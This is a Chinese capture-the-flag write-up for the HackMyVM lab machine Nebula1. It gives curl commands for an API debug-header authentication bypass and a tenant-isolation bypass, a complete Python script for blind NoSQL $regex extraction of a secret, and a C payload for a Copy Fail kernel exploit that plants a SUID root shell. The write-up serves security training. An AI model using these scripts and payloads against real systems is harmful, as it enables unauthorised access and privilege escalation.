HackMyVM Nebula1 通关记录|API Debug 绕过、NoSQL 盲注与 Copy Fail 提权
靶机链接:Nebula1
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Nebula1 | 192.168.1.114 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp、80/tcp、5000/tcp | 明确 API 服务是主攻击面 |
| API 线索 | / 注释泄露 Legacy API versions: /api/v1/ | 指向版本化 API |
| 认证绕过 | X-Sentinel-Debug: 1 | 获得 admin-test token |
| 信息泄露 | /api/v2/users/list 无认证 | 确认租户、用户和平台模型 |
| 租户绕过 | 请求体 tenant_id 可切换上下文 | 从 engineering 切到 system |
| 盲注提取 | /api/v2/vault/query 接受 $regex | 逐字符提取 secure_vault_key |
| 初始访问 | base64 解出 nebula:N3bul@Adm1n2025! | SSH 登录目标 |
| 提权 | Copy Fail 覆写 SUID su 页面缓存 | 生成 SUID rootshell 并读取 root flag |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口与服务识别
先做 TCP 端口和服务识别:
rustscan -a 192.168.1.114 --ulimit 5000 -- -sC -sV
关键端口如下:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 |
80/tcp | HTTP | Apache/2.4.62 (Debian) |
5000/tcp | HTTP API | Werkzeug/3.1.4 Python/3.9.2 |
UDP Top 100 没有开放结果,主线可以先放在 TCP Web/API 面。
2. 80 端口 Web 页面
80 端口是一个静态的 Nebula Sentinel 企业密钥管理平台介绍页:
curl -s http://192.168.1.114/
页面没有登录表单,但直接列出了租户和 key 名称:
| Tenant | Key |
|---|---|
system | secure_vault_key |
finance | finance_payment_gateway、tax_calculation_secret |
hr | payroll_api_token |
engineering | devops_ci_cd_token、infra_monitoring_key |
这一步最重要的不是页面功能,而是提前拿到后续 API 查询会用到的租户名和 key 名。
3. 5000 端口 API 根路径
curl -s http://192.168.1.114:5000/
返回:
Nebula Sentinel Internal API Service v2.5.1
<!-- Legacy API versions: /api/v1/ -->
注释泄露了 API 版本路径。接下来围绕 /api/v1/ 和 /api/v2/ 枚举功能点。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. /api/v2/login Debug Header 认证绕过
先测试 v2 登录接口。这里容易被请求体里的 NoSQL payload 误导,但真正绕过认证的是 debug header:
curl -s -X POST \
-H 'Content-Type: application/json' \
-H 'X-Sentinel-Debug: 1' \
-d '{}' \
http://192.168.1.114:5000/api/v2/login
返回类似:
{
"access_level": "admin-test",
"message": "Shadow Debug Mode activated",
"tenant_id": "engineering",
"token": "0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537"
}
每次 debug 登录都会生成新的 64 位 hex token。上面是本次 WSL Ubuntu 复测时拿到的完整 token,默认属于 engineering 租户。后续手工命令直接沿用这个值;如果重新登录拿到了新 token,把 Authorization: Bearer 后面的值替换为新回包里的 token。
2. 用户与租户接口枚举
无认证访问。注意这个接口虽然不需要认证,但仍然是 JSON API,POST 时要带 Content-Type 和空 JSON body,否则容易返回 400 Bad Request 或 415 Unsupported Media Type:
curl -sS -X POST \
-H 'Content-Type: application/json' \
-d '{}' \
http://192.168.1.114:5000/api/v2/users/list
返回所有租户用户,是一个明显的信息泄露点:
{
"count": 5,
"users": [
{"access_level": "admin", "department": "IT Security", "tenant_id": "system", "username": "admin"},
{"access_level": "manager", "department": "Finance", "tenant_id": "finance", "username": "jdoe"},
{"access_level": "user", "department": "Human Resources", "tenant_id": "hr", "username": "asmith"},
{"access_level": "user", "department": "DevOps", "tenant_id": "engineering", "username": "mlee"},
{"access_level": "guest", "department": null, "tenant_id": "public", "username": "guest"}
]
}
带上 debug token 后,还可以访问租户列表:
curl -sS -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer 0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537' \
-d '{}' \
http://192.168.1.114:5000/api/v2/tenants
返回:
{"tenants": ["engineering", "finance", "hr", "public", "system"]}
3. Tenant 隔离绕过
/api/v2/users 会接受请求体里的 tenant_id,并把当前 token 的租户上下文切过去:
curl -sS -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer 0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537' \
-d '{"tenant_id":"system"}' \
http://192.168.1.114:5000/api/v2/users
返回:
{
"count": 1,
"tenant_id": "system",
"users": [
{"access_level": "admin", "department": "IT Security", "username": "admin"}
]
}
切到 system 后,同一个 token 就可以访问 system 租户的 vault:
curl -sS -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer 0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537' \
-d '{"tenant_id":"system"}' \
http://192.168.1.114:5000/api/v2/vault
返回:
{
"count": 1,
"vault_entries": [
{"description": "Master encryption key for internal services", "key": "secure_vault_key"}
]
}
4. /api/v2/vault/query NoSQL $regex 盲注
/api/v2/vault/query 的 value 字段接受对象,导致 $regex 可以进入后端查询。NoSQL $regex 布尔盲注的通用判断和脚本模板见知识库:NoSQL $regex 布尔盲注提取。
最小验证:
curl -sS -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer 0d9dc9806071a75fc5751555864015f7faf3e44faf19a1a0c3e093d6d5795537' \
-d '{"tenant_id":"system","key":"secure_vault_key","value":{"$regex":"^b"}}' \
http://192.168.1.114:5000/api/v2/vault/query
如果前缀匹配,返回:
{"match_count": 1}
如果不匹配,返回:
{"match_count": 0}
这就是一个布尔 oracle,可以逐字符恢复 key 值。
0x04 核心攻击链:盲注提取密钥到 SSH 初始访问
1. 自动获取 token 并切换租户
为了避免硬编码 token,可以先写一个自动 bootstrap:每次运行时拿 debug token,然后切到目标租户。
import requests
BASE = "http://192.168.1.114:5000"
def get_token(tenant="system"):
r = requests.post(
f"{BASE}/api/v2/login",
headers={"Content-Type": "application/json", "X-Sentinel-Debug": "1"},
json={},
timeout=10,
)
token = r.json()["token"]
requests.post(
f"{BASE}/api/v2/users",
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {token}",
},
json={"tenant_id": tenant},
timeout=10,
)
return token
2. $regex 前缀提取脚本
核心逻辑很短:测试 ^prefix 是否命中,命中就保留这个字符。注意必须用 re.escape() 转义正则元字符,否则遇到 +、.、? 等字符会误判。
#!/usr/bin/env python3
import re
import string
import requests
BASE = "http://192.168.1.114:5000"
CHARS = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*()-_=+[]{}|;:',.<>?/~` "
def get_token(tenant="system"):
r = requests.post(
f"{BASE}/api/v2/login",
headers={"Content-Type": "application/json", "X-Sentinel-Debug": "1"},
json={},
timeout=10,
)
token = r.json()["token"]
requests.post(
f"{BASE}/api/v2/users",
headers={"Content-Type": "application/json", "Authorization": f"Bearer {token}"},
json={"tenant_id": tenant},
timeout=10,
)
return token
def test_prefix(token, key, prefix):
payload = {
"tenant_id": "system",
"key": key,
"value": {"$regex": "^" + re.escape(prefix)},
}
r = requests.post(
f"{BASE}/api/v2/vault/query",
headers={"Content-Type": "application/json", "Authorization": f"Bearer {token}"},
json=payload,
timeout=10,
)
return r.json().get("match_count", 0) > 0
def brute_force_value(token, key, max_len=50):
prefix = ""
for _ in range(max_len):
for c in CHARS:
if test_prefix(token, key, prefix + c):
prefix += c
print(repr(prefix))
break
else:
break
return prefix
token = get_token("system")
print(brute_force_value(token, "secure_vault_key"))
提取结果:
bmVidWxhOk4zYnVsQEFkbTFuMjAyNSE=
3. 解码 SSH 凭据
这串值是 base64:
echo 'bmVidWxhOk4zYnVsQEFkbTFuMjAyNSE=' | base64 -d
输出:
nebula:N3bul@Adm1n2025!
4. SSH 登录
ssh nebula@192.168.1.114
密码:
N3bul@Adm1n2025!
登录后确认身份:
id
whoami
cat /proc/self/status | grep CapEff
观察到一个很特殊的状态:
uid=0(root) gid=0(root) groups=0(root)
root
CapEff: 0000000000000000
nebula 的 UID 是 0,但有效 capabilities 为空,直接读取 /root 仍然被拒绝:
ls /root
cat /root/root.txt
返回:
Permission denied
所以这里不能停在“拿到 UID 0”这一步,还需要继续找能保留 root 权限上下文的本地提权路径。
0x05 权限提升 (Privilege Escalation)
1. 本地枚举
先确认系统和内核:
uname -a
cat /etc/debian_version
内核是:
4.19.0-27-amd64
这个版本命中 Copy Fail / CVE-2026-31431 的影响范围。漏洞原理和常规利用方式见知识库:CVE-2026-31431 Copy Fail Linux 内核提权。
2. 验证 Copy Fail
用 tgies/copy-fail-c 的 vulnerable 检测程序确认:
/tmp/copy-fail-c/build/redteam/vulnerable
输出:
[+] mutation verified -- kernel is VULNERABLE
EXIT:100
3. 自定义 payload:生成 SUID rootshell
默认 payload 往往是直接起 shell。这里更稳的方式是让 root 创建一个 SUID bash 副本:
#include "nolibc/nolibc.h"
int main(void) {
char *argv[] = {
"sh",
"-c",
"cp /bin/bash /tmp/rootshell && chown root:root /tmp/rootshell && chmod 4755 /tmp/rootshell",
(char *)NULL
};
char *envp[] = {(char *)NULL};
syscall(__NR_setgid, 0);
syscall(__NR_setuid, 0);
execve("/bin/sh", argv, envp);
return 1;
}
构建并执行 exploit:
make -C /tmp/tgies-copy-fail-c
/tmp/tgies-copy-fail-c/exploit
关键输出:
[+] target: /usr/bin/su
[+] payload: 1400 bytes
[+] page cache mutated; exec'ing target
Copy Fail 的核心是污染 /usr/bin/su 的页面缓存,而不是改磁盘文件。执行 su 时,内核加载被污染的页面,于是运行 payload 并创建 /tmp/rootshell。
4. 使用 SUID bash 读取 root flag
这里必须带 -p:
/tmp/rootshell -p -c 'id; cat /root/root.txt'
bash -p 会保留 effective UID;不加 -p 时,bash 会主动丢弃 SUID 权限。
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/nebula/user.txt - 内容:
flag{user-e524910706456c67218c8e0d0ae48d56}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-bfbed086118248f84854dddd7766eab0}
复盘总结
Nebula1 的重点不是传统 WebShell,而是 API 设计缺陷和本地内核提权的组合。
- Debug header 是真正认证绕过点。 请求体里的 NoSQL payload 容易吸引注意力,但 v2 登录实际先检查
X-Sentinel-Debug: 1,直接发放测试 token。 - Tenant 不能信请求体。
tenant_id由客户端传入并改变 session 上下文,导致一个 engineering token 可以切到 system 租户读取核心密钥。 - NoSQL
$regex是布尔 oracle。match_count的1/0足够逐字符提取敏感值,正则元字符必须转义,否则会误判。 - base64 不是保护。
secure_vault_key解码后就是 SSH 凭据nebula:N3bul@Adm1n2025!。 - UID 0 不等于已经结束。 当前会话
CapEff为空且无法读取/root,必须继续找能恢复有效 root 权限的路径。 - Copy Fail 适合做稳定收尾。 通过污染 SUID
su页面缓存执行 payload,再生成 SUID bash;最终用bash -p保留权限读取 root flag。